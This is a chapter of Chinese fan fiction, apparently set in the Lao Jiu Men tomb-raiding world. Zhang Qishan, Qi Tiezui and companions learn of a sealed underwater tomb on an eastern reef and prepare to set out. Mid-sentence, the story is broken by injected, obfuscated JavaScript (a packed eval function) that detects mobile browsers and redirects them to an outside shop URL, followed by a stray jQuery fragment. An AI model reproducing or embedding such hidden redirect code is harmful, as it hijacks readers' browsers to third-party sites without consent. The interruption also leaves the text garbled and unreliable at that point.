平静的日子过了不到五天,消息就到了。

    那是一个阴雨天的午后,齐铁嘴正窝在正厅的躺椅上看那本翻了一半的东海游记,雨水顺着屋檐滴滴答答地落下来,在院子里汇成细流。他看得昏昏欲睡,手里那杯桂花茶已经凉透了也没发觉。张小鱼坐在他旁边的矮凳上剥花生,剥好的花生仁码在小碟子里,码了一小堆就推到他手边。齐铁嘴迷迷糊糊地摸了花生仁丢进嘴里,嚼了两下又昏昏沉沉地看那本书,张小鱼也不催他,只是慢条斯理地继续剥,两个人的影子在雨天的昏暗光线里安安静静地叠着。

    张日山从外面跑进来,衣摆上沾了雨渍,手里攥着一封信。

    "东边来消息了。"他的声音里有一种压不住的急促,"九爷的商船在东海沿岸那片礁石群附近发现了人工开凿的痕迹,跟之前那几页信上描述的'龙眼石'特征对得上。商船上的伙计还捞上来一块刻着环形鱼纹的石板。"

    齐铁嘴一骨碌从躺椅上坐起来,那本书啪地掉在地上。张小鱼也放下了手里的花生,两个人的目光同时聚在张日山手上那封信上。

    张启山从书房里走出来,接过信展开来看了看。张小烬跟在他身后,两个人站在窗边,雨光映在信纸上把字迹照得分明。张启山看完之后把信递给齐铁嘴:"九爷的人已经在那边守着了,确认了入口位置。跟上次汪家墓一样,在水下。但这次没那么多暖流屏障和长发尸,门是封死的,需要用那枚阴鱼当钥匙。"

    齐铁嘴接过信从头到尾看了一遍,心跳快了几分。第二条蛇目铜鱼就在那里了,只要拿到它,两鱼相合就能找到青铜门,门后面是他们一直在找的东西。他把信纸叠好还给张启山,抬头看了看窗外的雨幕:"什么时候出发?"

    "尽快。"张启山走到窗边看着外面的雨,"九爷的人盯着,但那边最近有不少商船出没,要是被别人发现了那处入口,东西不一定还在。"

    "那这次带谁?"张小鱼已经从矮凳上站起来了,花生碟子搁在桌角,他的目光在张启山和齐铁嘴之间转了一下。

    张启山没有犹豫:"小鱼、小烬、二月红、陈四爷。我、老八、日山。其余人留长沙待命。五爷和仙姑的伤还在养,不宜奔波。"

    张小鱼的眼睛微微亮了一下。他看了一眼张小烬,张小烬面上还是那副波澜不惊的模样,可他的手指不动声色地捻了一下袖口——齐铁嘴认得那个小动作,那是张小烬心里也有波澜时的习惯。

    "我跟你们去?"张小鱼的声音带了一丝不确定,"上次佛爷说——"

    "上次是看家需要你。"张启山转过身来,日光从云层缝隙里漏出来,把半间正厅照得亮了一亮,"这次不一样。这次要下水,小烬一个人盯后勤,你跟着下。"

    张小鱼没再说什么,可他的嘴角弯了起来,那抹弧度在雨天的光里格外分明。他弯腰把那碟剥好的花生仁端起来搁到齐铁嘴手里,声音轻快:"八爷路上吃。"

    齐铁嘴捧着那碟花生仁,看了看张小鱼,又看了看张小烬,最后看向张启山。他忽然觉得这趟路虽然要去闯一处未知的墓穴,可这几个人围在身边,他好像也没什么好怕的。

    出发定在两天后。

    这两天佛爷府里忙得脚不沾地。张小鱼在后院清点绳索和气囊,把每一件下水的装备都翻来覆去检查了三遍;张小烬在书房里研究九爷传回来的勘测记录,把那处礁石群的地形图翻来覆去地画了又改,画了好几版路线图;张日山的那条胳膊终于拆了吊带,二爷说可以活动但不能用力,他就在院子里练单手的刀法,用那条刚解放的胳膊绕着自己的刀转了又转,像个重新拿到玩具的孩子。

    齐铁嘴被分配了最清闲的活计——看那本东海游记,把上面关于礁石群和潮汐的记录都摘抄出来,整理成一份简明的地标手记。他坐在书房的窗台边抄了一下午,阳光从窗缝里漏进来照在纸页上,张小烬坐在对面画地图,偶尔两个人抬头对视一眼,谁也没说话,可那份安静里有一种默契的、各自忙碌又彼此知晓的妥帖。

    出发前一晚,五个人在院子里吃了顿简单的晚饭。张日山拆了吊带之后吃饭终于不用别人帮忙夹菜了,忙不迭地给自己碗里添了两块红烧肉,被齐铁嘴一筷子夺走一块:"你伤刚好,二爷说了不能吃太油腻。"

    张日山委屈地看着那块被夺走的红烧肉消失在齐铁嘴嘴里,转头想找张小鱼评理,张小鱼正低头剥虾,剥好的虾仁搁在齐铁嘴的碟子里。张日山又看向张小烬,张小烬正安静地喝汤,仿佛什么都没看见。他又看向张启山,张启山端着茶盏跟张长林(佛爷四个副官之一)说话,眼皮都没抬。

    张日山叹了一口气,自己夹了块青菜吃。

    齐铁嘴嚼着那块红烧肉笑得眼睛弯弯的,腮帮子鼓着,像只偷到了鱼的猫。张小鱼又往他碟子里搁了一颗虾仁,齐铁嘴就着米饭吃了,冲张小鱼眨了眨眼。张小烬放下汤碗,不动声色地把那碟清炒时蔬往齐铁嘴那边推了推。

    二月红和陈皮阿四是晚饭后来的。二月红提着药箱,把每个人的装备都检查了一遍——主要是看有没有什么应急的伤药需要补充——陈皮阿四靠在门边抱臂站着,跟张日山有一搭没一搭地说着话。齐铁嘴坐在桌边把那本抄好的手记最后翻了一遍,确认没有遗漏,合上的时候正好对上陈皮阿四的目光。陈皮阿四冲他点了一下头,没说什么,但那个点头里有一种"放心"的意味。齐铁嘴冲他咧嘴笑了笑,把抄本揣进了包袱里。

    "明早卯时出发。"张启山最后拍板,"马车已经备好了,一炷香的工夫到码头。九爷的船在码头等着,顺风的话一天半到那片礁石群。今天都早些休息。"

    众人散了。张小鱼和张小烬去后院最后检查一遍装备,张日山回了房间,二月红和陈皮阿四住在了前院的客房。院子里安静下来,雨早已停了,月光从云层后面露出来,把湿漉漉的青石板地面照得亮晶晶的。

    齐铁嘴没有急着回房。他站在桂花树底下仰头看了一会儿月亮,月光从枝叶缝隙间漏下来,碎碎地落在他的肩膀上。张启山从身后走过来,在他旁边站定,两个人并肩看着那轮被桂花枝半遮着的月亮。

    "这次下去,东西找不找得到都不急。"张启山开口,声音在夜的安静里显得格外低,"你要是不想下水,就在船上等着。"

    齐铁嘴偏过头来看他。月光把张启山的侧脸照得轮廓分明,他站在齐铁嘴身边,肩膀挨着肩膀,那份重量隔着衣料传过来。"我想下去。"齐铁嘴说,"信上说双鱼相合才能开青铜门,我总得亲眼看到它们合在一起的样子。"

    张启山偏过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846631|211740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头来看他。齐铁嘴的目光是认真的,月光在他瞳孔里映出两小片银白的光。张启山看了一会儿,伸手把他肩上落着的一片桂花摘下来,拈在指间看了看,然后别回了齐铁嘴的衣领上。

    "那就一起下去。"他说。

    齐铁嘴摸了摸衣领上那片桂花,花瓣还带着夜露的潮气,凉丝丝的。他把脸转回月亮的方向,过了一会儿忽然轻声笑了一下。

    "笑什么?"张启山问。

    "笑你。"齐铁嘴说,"你以前总是一个人往前冲,什么都不跟我说。现在好歹知道带上我了。"

    张启山沉默了一下。然后他把齐铁嘴往身边拢了拢,手臂搭在他肩上,两个人靠得更近了些。"以前是以前。现在不一样。"

    齐铁嘴靠着他,闻着他身上混了皂角和夜露的气息,闭了闭眼。月光把两个人的影子拉成一道,叠在湿漉漉的青石地面上,桂花树的影子在他们头上轻轻地摇。

    "明早卯时。"齐铁嘴说,"那我回去睡了。"

    "嗯。"

    齐铁嘴从他臂弯里钻出来,往卧房走了几步,又回头看了他一眼。月光下张启山还站在原地,身姿笔挺,面朝着桂花树的方向,像是要把这一院子的月色和桂花香都记住似的。齐铁嘴的嘴角弯了弯,转身推门进了屋。

    屋里张小鱼和张小烬已经回来了,正在把装备叠好放进箱子里。张日山不知什么时候也溜进来了,盘腿坐在床尾擦他那把短刃。三个人听见门响都抬头看过来,三双眼睛在烛光里亮着,像三盏被点着的小灯。齐铁嘴站在门口看着他们,忽然觉得这间卧房跟三个月前他刚住进来的时候太不一样了——那时候空荡荡的,一个人躺在那张大床上能听见自己的心跳回音;现在这张床上挤了五个人,被子不够盖,枕头不够分,可他把门关上的时候,满屋子的暖光把他从头到脚裹住了,凉不进来一寸。

    "明天赶早,今晚挤着睡吧。"齐铁嘴把外衫脱了挂好,爬上床找了块空隙躺下来,左边挨着张小鱼,右边挨着张日山,脚那边张小烬靠着床尾看书,张启山推门进来的时候看见的就是这么一副景象——四个人已经把床占了大半,给他留了最边上的一块。他也没有多说什么,脱了外衫躺下来,一只手搭过齐铁嘴的腰侧搁在张小鱼身上,五个人就这么挤着,被子分了又分,最后谁也没盖全,可谁也没觉得冷。

    "关灯了。"张日山吹熄了烛火。黑暗里安静了片刻,然后传来齐铁嘴低低的笑声——不知道是谁的手搭错地方了,也不知道是谁的脚蹬到了谁的腿。笑声从黑暗里荡开来,像一小片被风揉皱的湖面,涟漪一圈一圈地荡开,把满屋子的沉默都揉成了暖融融的、带着桂花残香的夜。

    "睡吧。"张启山的声音从黑暗里传来,带着压不住的、极淡的笑意,"卯时出发。"

    "嗯。"齐铁嘴在黑夜里应了一声,闭着眼,嘴角翘着。

    明天要出发了,去东海,去那片有龙眼石的礁石群,去找第二条蛇目铜鱼。他想,这条路不管多长多险,有五个人并肩走着,那些黑黢黢的水道和湿冷的石壁也就没那么值得害怕了。

    桂花的余香从窗外渗进来,把夜色酿得又甜又浓。五道呼吸在黑暗里此起彼伏地响着,渐渐均匀下去,汇成一片安静的、暖融融的,像是同一个人的呼吸。